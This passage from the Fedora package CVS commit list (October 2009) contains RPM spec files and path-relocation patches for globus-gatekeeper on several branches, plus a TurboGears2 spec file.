\$metadata->finish();
EOF

# This script is intended to be sourced, not executed
chmod 644 $RPM_BUILD_ROOT%{_datadir}/globus/setup/setup-globus-gatekeeper.pl

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_pgm.filelist \
    $GLOBUSPACKAGEDIR/%{_name}_setup/noflavor_pgm.filelist \
  | sed s!^!%{_prefix}! > package.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE
%dir %{_datadir}/globus/packages/%{_name}_setup
%{_datadir}/globus/packages/setup
%dir %{_datadir}/globus/setup

%changelog
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.0-1
- Autogenerated


--- NEW FILE import.log ---
globus-gatekeeper-5_0-1_fc11:F-12:globus-gatekeeper-5.0-1.fc11.src.rpm:1255976144


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gatekeeper/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:26:16 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:16:25 -0000	1.2
@@ -0,0 +1,2 @@
+globus_gatekeeper-5.0.tar.gz
+globus_gatekeeper_setup-2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gatekeeper/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:26:16 -0000	1.1
+++ sources	19 Oct 2009 18:16:25 -0000	1.2
@@ -0,0 +1,2 @@
+96dc37477340e9e3f6fc5a981510a5c5  globus_gatekeeper-5.0.tar.gz
+7aebcc8960634f8c8fd1077f25975c4f  globus_gatekeeper_setup-2.2.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 18:17:29 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:17:29 +0000 (UTC)
Subject: rpms/globus-gatekeeper/F-11 globus-gatekeeper-setup.patch, NONE,
	1.1 globus-gatekeeper.patch, NONE, 1.1 globus-gatekeeper.spec,
	NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019181729.0ECEA11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gatekeeper/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv821/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gatekeeper-setup.patch globus-gatekeeper.patch 
	globus-gatekeeper.spec import.log 
Log Message:
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.0-1
- Autogenerated


globus-gatekeeper-setup.patch:
 setup-globus-gatekeeper    |    2 +-
 setup-globus-gatekeeper.pl |   28 +++++++++++-----------------
 2 files changed, 12 insertions(+), 18 deletions(-)

--- NEW FILE globus-gatekeeper-setup.patch ---
diff -ur globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper globus_gatekeeper_setup-2.2/setup-globus-gatekeeper
--- globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper	2004-03-04 21:13:19.000000000 +0100
+++ globus_gatekeeper_setup-2.2/setup-globus-gatekeeper	2009-07-31 22:34:30.738499397 +0200
@@ -1,3 +1,3 @@
 #! /bin/sh
 
-perl $GLOBUS_LOCATION/setup/globus/setup-globus-gatekeeper.pl "$@"
+perl ${GLOBUS_LOCATION:-/usr}/setup/globus/setup-globus-gatekeeper.pl "$@"
diff -ur globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper.pl globus_gatekeeper_setup-2.2/setup-globus-gatekeeper.pl
--- globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper.pl	2004-03-04 21:13:19.000000000 +0100
+++ globus_gatekeeper_setup-2.2/setup-globus-gatekeeper.pl	2009-08-04 20:42:25.015218865 +0200
@@ -4,12 +4,7 @@
 
 if (!defined($gpath))
 {
-  $gpath = $ENV{GLOBUS_LOCATION};
-}
-
-if (!defined($gpath))
-{
-   die "GPT_LOCATION or GLOBUS_LOCATION needs to be set before running this script"
+  $gpath = "/usr";
 }
 
 @INC = (@INC, "$gpath/lib/perl");
@@ -50,9 +45,9 @@
 
 my $metadata = new Grid::GPT::Setup(package_name => "globus_gatekeeper_setup");
 
-my $globusdir = $ENV{GLOBUS_LOCATION};
-my $setupdir = "$globusdir/setup/globus/";
-my $gk_conf = "$globusdir/etc/globus-gatekeeper.conf";
+use Globus::Core::Path;
+
+my $gk_conf = "$Globus::Core::Path::sysconfdir/globus-gatekeeper.conf";
 
 print "Creating gatekeeper configuration file...\n";
 
@@ -66,27 +61,26 @@
   -x509_user_cert $x509_user_cert
   -x509_user_key $x509_user_key
   -gridmap $gridmap
-  -home $globusdir
-  -e libexec
-  -logfile var/globus-gatekeeper.log
+  -e $Globus::Core::Path::sbindir
+  -logfile $Globus::Core::Path::localstatedir/log/globus-gatekeeper.log
   -port 2119
-  -grid_services etc/grid-services
+  -grid_services $Globus::Core::Path::sysconfdir/grid-services
   -inetd
 EOF
 
 print "Done\n";
 
-if ( ! -d "$globusdir/var" )
+if ( ! -d "$Globus::Core::Path::localstatedir/log" )
 {
    print "Creating gatekeeper log directory...\n";
-   system "mkdir -p $globusdir/var";
+   system "mkdir -p $Globus::Core::Path::localstatedir/log";
    print "Done\n";
 }
 
-if ( ! -d "$globusdir/etc/grid-services" )
+if ( ! -d "$Globus::Core::Path::sysconfdir/grid-services" )
 {
    print "Creating grid services directory...\n";
-   system "mkdir -p $globusdir/etc/grid-services";
+   system "mkdir -p $Globus::Core::Path::sysconfdir/grid-services";
    print "Done\n";
 }
 

globus-gatekeeper.patch:
 Makefile.am         |    4 +---
 configure.in        |    4 ----
 globus_gatekeeper.c |   45 +++------------------------------------------
 3 files changed, 4 insertions(+), 49 deletions(-)

--- NEW FILE globus-gatekeeper.patch ---
diff -ur globus_gatekeeper-5.0.orig/configure.in globus_gatekeeper-5.0/configure.in
--- globus_gatekeeper-5.0.orig/configure.in	2004-08-24 17:38:10.000000000 +0200
+++ globus_gatekeeper-5.0/configure.in	2009-07-29 01:30:55.624708882 +0200
@@ -24,10 +24,6 @@
 esac
 AC_SUBST(UNICOS_LIBS)
 
-if test "x$GLOBUS_THREADS" != "xnone"; then
-    AC_MSG_ERROR(Cannot build gatekeeper with threads)
-fi
-
 AC_CHECK_HEADERS(proj.h)
 AC_CHECK_HEADERS(netinet/tcp.h)
 AC_CHECK_HEADERS(string.h)
diff -ur globus_gatekeeper-5.0.orig/globus_gatekeeper.c globus_gatekeeper-5.0/globus_gatekeeper.c
--- globus_gatekeeper-5.0.orig/globus_gatekeeper.c	2008-08-15 11:09:53.000000000 +0200
+++ globus_gatekeeper-5.0/globus_gatekeeper.c	2009-08-06 08:44:45.674401405 +0200
@@ -109,10 +109,6 @@
 #include <proj.h>
 #endif
 
-#if !defined(MAXPATHLEN) 
-#   define MAXPATHLEN PATH_MAX
-#endif
-
 #ifndef HAVE_SETENV
 extern int setenv();
 #endif
@@ -122,6 +118,7 @@
 #endif
 
 #include "globus_gatekeeper_utils.h"
+#include "globus_gsi_system_config.h"
 
 /******************************************************************************
                                Type definitions
@@ -179,7 +176,7 @@
 #       define GRAM_K5_EXE "globus-k5"
 #endif
 #ifndef GLOBUS_LIBEXECDIR
-#  define GLOBUS_LIBEXECDIR "libexec"
+#  define GLOBUS_LIBEXECDIR "sbin"
 #endif
 #ifndef GLOBUS_GATEKEEPER_HOME
 #       define GLOBUS_GATEKEEPER_HOME "/etc"
@@ -188,10 +185,6 @@
 #define LOGFILE ""
 #endif
 
-#ifndef PATH_MAX
-#define PATH_MAX MAXPATHLEN
-#endif
-
 #define FAILED_AUTHORIZATION        1
 #define FAILED_SERVICELOOKUP        2
 #define FAILED_SERVER               3
@@ -600,34 +593,7 @@
          * gatekeeperhome (-home path) when not run from inetd. 
          * otherwise it is NULL
          */
-#if defined(TARGET_ARCH_LINUX) || defined(TARGET_ARCH_SOLARIS)
-        /*
-         * There is a memory corruption bug in the getcwd in
-         * glibc-2.1.1 and earlier
-         *
-         * Solaris 2.5.1 does not have a correct implementation
-         * of getcwd either.
-         *
-         */
-        {
-            char tmppath[PATH_MAX];
-
-            if(getwd(tmppath))
-            {
-                gatekeeperhome = strdup(tmppath);
-            }
-        }
-#else
-        {
-            char *tmppath = NULL;
-            int size = 1;
-            while ( (tmppath = getcwd (NULL, size)) == NULL )
-            {
-                size++;
-            }
-            gatekeeperhome = tmppath;
-        }
-#endif
+        GLOBUS_GSI_SYSCONFIG_GET_CURRENT_WORKING_DIR(&gatekeeperhome);
         run_from_inetd = 0;
     }
     else
@@ -964,11 +930,6 @@
         foreground = 1;
     }
 
-    if (gatekeeperhome)
-    {
-        setenv("GLOBUS_LOCATION",gatekeeperhome,1);
-    }
-        
     setenv("GRIDMAP", genfilename(gatekeeperhome,gridmap,NULL),1);
     if (globuspwd) 
     {
diff -ur globus_gatekeeper-5.0.orig/Makefile.am globus_gatekeeper-5.0/Makefile.am
--- globus_gatekeeper-5.0.orig/Makefile.am	2004-08-24 17:38:10.000000000 +0200
+++ globus_gatekeeper-5.0/Makefile.am	2009-07-29 01:42:48.544708833 +0200
@@ -10,9 +10,7 @@
 EXTRA_DIST=
 
 sbin_PROGRAMS= \
-	globus-gatekeeper
-
-libexec_PROGRAMS = \
+	globus-gatekeeper \
 	globus-k5
 
 globus_gatekeeper_SOURCES = \


--- NEW FILE globus-gatekeeper.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gatekeeper
%global _name %(tr - _ <<< %{name})
Version:	5.0
%global setupversion 2.2
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus Gatekeeper

Group:		Applications/Internet
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gatekeeper/source globus_gatekeeper-5.0
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gatekeeper-5.0
#		tar -zcf globus_gatekeeper-5.0.tar.gz globus_gatekeeper-5.0
Source:		%{_name}-%{version}.tar.gz
#		Source1 is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gatekeeper/setup globus_gatekeeper_setup-2.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gatekeeper_setup-2.2
#		tar -zcf globus_gatekeeper_setup-2.2.tar.gz globus_gatekeeper_setup-2.2
Source1:	%{_name}_setup-%{setupversion}.tar.gz
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6820
Patch0:		%{name}.patch
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6821
Patch1:		%{name}-setup.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Provides:	%{name}-setup = %{setupversion}
Requires:	globus-common
Requires:	globus-common-setup >= 2
Requires:	globus-gatekeeper-setup >= 2
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-gss-assist-devel%{?_isa} >= 3
BuildRequires:	globus-gssapi-gsi-devel%{?_isa} >= 4
BuildRequires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus Gatekeeper
Globus Gatekeeper Setup

%prep
%setup -q -n %{_name}-%{version}
%setup -D -T -q -n %{_name}-%{version} -a 1
%patch0 -p1
cd %{_name}_setup-%{setupversion}
%patch1 -p1
cd -

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

# setup package
cd %{_name}_setup-%{setupversion}

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

%{_datadir}/globus/globus-bootstrap.sh

%configure --without-flavor

make %{?_smp_mflags}

cd -

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

# setup package
cd %{_name}_setup-%{setupversion}
make install DESTDIR=$RPM_BUILD_ROOT
cd -

# Register setup
perl -MGrid::GPT::Setup <<EOF
my \$metadata = new Grid::GPT::Setup(package_name => "%{_name}_setup",
				     globusdir => "$RPM_BUILD_ROOT%{_prefix}");
\$metadata->finish();
EOF

# This script is intended to be sourced, not executed
chmod 644 $RPM_BUILD_ROOT%{_datadir}/globus/setup/setup-globus-gatekeeper.pl

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_pgm.filelist \
    $GLOBUSPACKAGEDIR/%{_name}_setup/noflavor_pgm.filelist \
  | sed s!^!%{_prefix}! > package.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE
%dir %{_datadir}/globus/packages/%{_name}_setup
%{_datadir}/globus/packages/setup
%dir %{_datadir}/globus/setup

%changelog
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.0-1
- Autogenerated


--- NEW FILE import.log ---
globus-gatekeeper-5_0-1_fc11:F-11:globus-gatekeeper-5.0-1.fc11.src.rpm:1255976231


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gatekeeper/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:26:16 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:17:28 -0000	1.2
@@ -0,0 +1,2 @@
+globus_gatekeeper-5.0.tar.gz
+globus_gatekeeper_setup-2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gatekeeper/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:26:16 -0000	1.1
+++ sources	19 Oct 2009 18:17:28 -0000	1.2
@@ -0,0 +1,2 @@
+96dc37477340e9e3f6fc5a981510a5c5  globus_gatekeeper-5.0.tar.gz
+7aebcc8960634f8c8fd1077f25975c4f  globus_gatekeeper_setup-2.2.tar.gz



From lmacken at fedoraproject.org  Mon Oct 19 18:18:00 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Mon, 19 Oct 2009 18:18:00 +0000 (UTC)
Subject: rpms/TurboGears2/F-12 TurboGears2.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091019181800.7D87D11C00DC@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/TurboGears2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1043

Modified Files:
	sources 
Added Files:
	TurboGears2.spec 
Log Message:
Initial commit of TurboGears2 for F-12


--- NEW FILE TurboGears2.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
%{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}

Name:           TurboGears2
Version:        2.0.3
Release:        3%{?dist}
Summary:        Next generation Front-to-back web development megaframework built on Pylons

Group:          Development/Languages
License:        MIT
URL:            http://www.turbogears.org
Source0:        http://pypi.python.org/packages/source/T/%{name}/%{name}-%{version}.tar.gz

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:  python-devel python-setuptools-devel
BuildRequires:  python-nose python-coverage python-paver python-pylons
BuildRequires:  python-turbokid python-zope-sqlalchemy python-jinja2 python-toscawidgets python-genshi
BuildRequires:  python-repoze-what python-repoze-who-testutil python-repoze-what-pylons
BuildRequires:  python-webflash python-tw-forms python-turbojson python-repoze-what-quickstart

%{?el5:BuildRequires: python-wsgiref}

Requires:       python-pylons >= 0.9.7
Requires:       python-webflash >= 0.1-0.a8
Requires:       python-weberror >= 0.10.1
Requires:       python-genshi >= 0.5.1
Requires:       python-zope-sqlalchemy
Requires:       python-toscawidgets >= 0.9.4
Requires:       python-turbojson >= 1.2.1
Requires:       python-repoze-tm2 >= 1.0-0.a4
Requires:       python-repoze-what-pylons >= 1.0-0.rc3


%description
TurboGears2, provides a comprehensive web development toolkit.  It is designed
to help you create the basic outline of a database-driven web application in
minutes.

TurboGears provides you with sane default for designer friendly templates,
tools to make  AJAX, and dynamic Javascript driven pages easy on both the
browser side and the server side.

TurboGears is a project that is built upon a foundation of reuse and building
up.  In retrospect, much of the code that was home grown in the TurboGears
project should have been released as independent projects that integrate with
TurboGears.


%prep
%setup -q


%build
python setup.py build

%install
rm -rf %{buildroot}
python setup.py install --skip-build --root %{buildroot}

%check
# Disabled until we package chameleon.genshi
#nosetests

%clean
rm -rf %{buildroot}

%files
%defattr(0644,root,root,0755)
%doc README.txt
%{python_sitelib}/%{name}-%{version}-py%{pyver}.egg-info/
%{python_sitelib}/tg/


%changelog
* Mon Sep 14 2009 Luke Macken <lmacken at redhat.com> - 2.0.3-3
- Tweak our python-wsgiref conditional for EL5

* Tue Sep 01 2009 Luke Macken <lmacken at redhat.com> - 2.0.3-2
- Remove the SQLAlchemy requirement, as python-zope-sqlalchemy
  is now set to include the appropriate version

* Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 2.0.3-1
- 2.0.3

* Sat Jun 27 2009 Luke Macken <lmacken at redhat.com> 2.0.1-1
- 2.0.1
- Bump our ToscaWigdets requirement to 0.9.4
- Remove TurboGears2-custom-content-type.patch, which is upstream

* Sat Jun 06 2009 Luke Macken <lmacken at redhat.com> 2.0-4
- Require the new python-sqlalchemy0.5 package

* Thu Jun 04 2009 Luke Macken <lmacken at redhat.com> 2.0-3
- Add a patch to fix custom content types.
  http://trac.turbogears.org/ticket/2280

* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> 2.0-2
- Conditionally include wsgiref

* Sun May 31 2009 Luke Macken <lmacken at redhat.com> 2.0-1
- Update to 2.0 final.
- Add python-repoze-what-pylons and python-webflash to the BuildRequires
- Disable the test suite until we package chameleon.genshi

* Tue Oct 28 2008 Luke Macken <lmacken at redhat.com> 1.9.7.0.3.b1dev.r5627
- Update to a svn snapshot to support tgext.authorization instead of
  tg.ext.repoze.who

* Mon Oct 27 2008 Luke Macken <lmacken at redhat.com> 1.9.7-0.2.b1
- Update to 1.9.7b1

* Tue Oct 21 2008 Luke Macken <lmacken at redhat.com> 1.9.7-0.1.a5dev.r5564
- Initial packaging of TurboGears2 for Fedora.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/TurboGears2/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 19:53:37 -0000	1.1
+++ sources	19 Oct 2009 18:18:00 -0000	1.2
@@ -0,0 +1 @@
+a5628df522f201fd94cbea8289f21ec1  TurboGears2-2.0.3.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 18:18:44 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:18:44 +0000 (UTC)
Subject: rpms/globus-gatekeeper/EL-5 globus-gatekeeper-setup.patch, NONE,
	1.1 globus-gatekeeper.patch, NONE, 1.1 globus-gatekeeper.spec,
	NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019181844.65C5311C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gatekeeper/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1333/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gatekeeper-setup.patch globus-gatekeeper.patch 
	globus-gatekeeper.spec import.log 
Log Message:
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.0-1
- Autogenerated


globus-gatekeeper-setup.patch:
 setup-globus-gatekeeper    |    2 +-
 setup-globus-gatekeeper.pl |   28 +++++++++++-----------------
 2 files changed, 12 insertions(+), 18 deletions(-)

--- NEW FILE globus-gatekeeper-setup.patch ---
diff -ur globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper globus_gatekeeper_setup-2.2/setup-globus-gatekeeper
--- globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper	2004-03-04 21:13:19.000000000 +0100
+++ globus_gatekeeper_setup-2.2/setup-globus-gatekeeper	2009-07-31 22:34:30.738499397 +0200
@@ -1,3 +1,3 @@
 #! /bin/sh
 
-perl $GLOBUS_LOCATION/setup/globus/setup-globus-gatekeeper.pl "$@"
+perl ${GLOBUS_LOCATION:-/usr}/setup/globus/setup-globus-gatekeeper.pl "$@"
diff -ur globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper.pl globus_gatekeeper_setup-2.2/setup-globus-gatekeeper.pl
--- globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper.pl	2004-03-04 21:13:19.000000000 +0100
+++ globus_gatekeeper_setup-2.2/setup-globus-gatekeeper.pl	2009-08-04 20:42:25.015218865 +0200
@@ -4,12 +4,7 @@
 
 if (!defined($gpath))
 {
-  $gpath = $ENV{GLOBUS_LOCATION};
-}
-
-if (!defined($gpath))
-{
-   die "GPT_LOCATION or GLOBUS_LOCATION needs to be set before running this script"
+  $gpath = "/usr";
 }
 
 @INC = (@INC, "$gpath/lib/perl");
@@ -50,9 +45,9 @@
 
 my $metadata = new Grid::GPT::Setup(package_name => "globus_gatekeeper_setup");
 
-my $globusdir = $ENV{GLOBUS_LOCATION};
-my $setupdir = "$globusdir/setup/globus/";
-my $gk_conf = "$globusdir/etc/globus-gatekeeper.conf";
+use Globus::Core::Path;
+
+my $gk_conf = "$Globus::Core::Path::sysconfdir/globus-gatekeeper.conf";
 
 print "Creating gatekeeper configuration file...\n";
 
@@ -66,27 +61,26 @@
   -x509_user_cert $x509_user_cert
   -x509_user_key $x509_user_key
   -gridmap $gridmap
-  -home $globusdir
-  -e libexec
-  -logfile var/globus-gatekeeper.log
+  -e $Globus::Core::Path::sbindir
+  -logfile $Globus::Core::Path::localstatedir/log/globus-gatekeeper.log
   -port 2119
-  -grid_services etc/grid-services
+  -grid_services $Globus::Core::Path::sysconfdir/grid-services
   -inetd
 EOF
 
 print "Done\n";
 
-if ( ! -d "$globusdir/var" )
+if ( ! -d "$Globus::Core::Path::localstatedir/log" )
 {
    print "Creating gatekeeper log directory...\n";
-   system "mkdir -p $globusdir/var";
+   system "mkdir -p $Globus::Core::Path::localstatedir/log";
    print "Done\n";
 }
 
-if ( ! -d "$globusdir/etc/grid-services" )
+if ( ! -d "$Globus::Core::Path::sysconfdir/grid-services" )
 {
    print "Creating grid services directory...\n";
-   system "mkdir -p $globusdir/etc/grid-services";
+   system "mkdir -p $Globus::Core::Path::sysconfdir/grid-services";
    print "Done\n";
 }
 

globus-gatekeeper.patch:
 Makefile.am         |    4 +---
 configure.in        |    4 ----
 globus_gatekeeper.c |   45 +++------------------------------------------
 3 files changed, 4 insertions(+), 49 deletions(-)

--- NEW FILE globus-gatekeeper.patch ---
diff -ur globus_gatekeeper-5.0.orig/configure.in globus_gatekeeper-5.0/configure.in
--- globus_gatekeeper-5.0.orig/configure.in	2004-08-24 17:38:10.000000000 +0200
+++ globus_gatekeeper-5.0/configure.in	2009-07-29 01:30:55.624708882 +0200
@@ -24,10 +24,6 @@
 esac
 AC_SUBST(UNICOS_LIBS)
 
-if test "x$GLOBUS_THREADS" != "xnone"; then
-    AC_MSG_ERROR(Cannot build gatekeeper with threads)
-fi
-
 AC_CHECK_HEADERS(proj.h)
 AC_CHECK_HEADERS(netinet/tcp.h)
 AC_CHECK_HEADERS(string.h)
diff -ur globus_gatekeeper-5.0.orig/globus_gatekeeper.c globus_gatekeeper-5.0/globus_gatekeeper.c
--- globus_gatekeeper-5.0.orig/globus_gatekeeper.c	2008-08-15 11:09:53.000000000 +0200
+++ globus_gatekeeper-5.0/globus_gatekeeper.c	2009-08-06 08:44:45.674401405 +0200
@@ -109,10 +109,6 @@
 #include <proj.h>
 #endif
 
-#if !defined(MAXPATHLEN) 
-#   define MAXPATHLEN PATH_MAX
-#endif
-
 #ifndef HAVE_SETENV
 extern int setenv();
 #endif
@@ -122,6 +118,7 @@
 #endif
 
 #include "globus_gatekeeper_utils.h"
+#include "globus_gsi_system_config.h"
 
 /******************************************************************************
                                Type definitions
@@ -179,7 +176,7 @@
 #       define GRAM_K5_EXE "globus-k5"
 #endif
 #ifndef GLOBUS_LIBEXECDIR
-#  define GLOBUS_LIBEXECDIR "libexec"
+#  define GLOBUS_LIBEXECDIR "sbin"
 #endif
 #ifndef GLOBUS_GATEKEEPER_HOME
 #       define GLOBUS_GATEKEEPER_HOME "/etc"
@@ -188,10 +185,6 @@
 #define LOGFILE ""
 #endif
 
-#ifndef PATH_MAX
-#define PATH_MAX MAXPATHLEN
-#endif
-
 #define FAILED_AUTHORIZATION        1
 #define FAILED_SERVICELOOKUP        2
 #define FAILED_SERVER               3
@@ -600,34 +593,7 @@
          * gatekeeperhome (-home path) when not run from inetd. 
          * otherwise it is NULL
          */
-#if defined(TARGET_ARCH_LINUX) || defined(TARGET_ARCH_SOLARIS)
-        /*
-         * There is a memory corruption bug in the getcwd in
-         * glibc-2.1.1 and earlier
-         *
-         * Solaris 2.5.1 does not have a correct implementation
-         * of getcwd either.
-         *
-         */
-        {
-            char tmppath[PATH_MAX];
-
-            if(getwd(tmppath))
-            {
-                gatekeeperhome = strdup(tmppath);
-            }
-        }
-#else
-        {
-            char *tmppath = NULL;
-            int size = 1;
-            while ( (tmppath = getcwd (NULL, size)) == NULL )
-            {
-                size++;
-            }
-            gatekeeperhome = tmppath;
-        }
-#endif
+        GLOBUS_GSI_SYSCONFIG_GET_CURRENT_WORKING_DIR(&gatekeeperhome);
         run_from_inetd = 0;
     }
     else
@@ -964,11 +930,6 @@
         foreground = 1;
     }
 
-    if (gatekeeperhome)
-    {
-        setenv("GLOBUS_LOCATION",gatekeeperhome,1);
-    }
-        
     setenv("GRIDMAP", genfilename(gatekeeperhome,gridmap,NULL),1);
     if (globuspwd) 
     {
diff -ur globus_gatekeeper-5.0.orig/Makefile.am globus_gatekeeper-5.0/Makefile.am
--- globus_gatekeeper-5.0.orig/Makefile.am	2004-08-24 17:38:10.000000000 +0200
+++ globus_gatekeeper-5.0/Makefile.am	2009-07-29 01:42:48.544708833 +0200
@@ -10,9 +10,7 @@
 EXTRA_DIST=
 
 sbin_PROGRAMS= \
-	globus-gatekeeper
-
-libexec_PROGRAMS = \
+	globus-gatekeeper \
 	globus-k5
 
 globus_gatekeeper_SOURCES = \


--- NEW FILE globus-gatekeeper.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gatekeeper
%global _name %(tr - _ <<< %{name})
Version:	5.0
%global setupversion 2.2
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus Gatekeeper

Group:		Applications/Internet
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gatekeeper/source globus_gatekeeper-5.0
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gatekeeper-5.0
#		tar -zcf globus_gatekeeper-5.0.tar.gz globus_gatekeeper-5.0
Source:		%{_name}-%{version}.tar.gz
#		Source1 is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gatekeeper/setup globus_gatekeeper_setup-2.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gatekeeper_setup-2.2
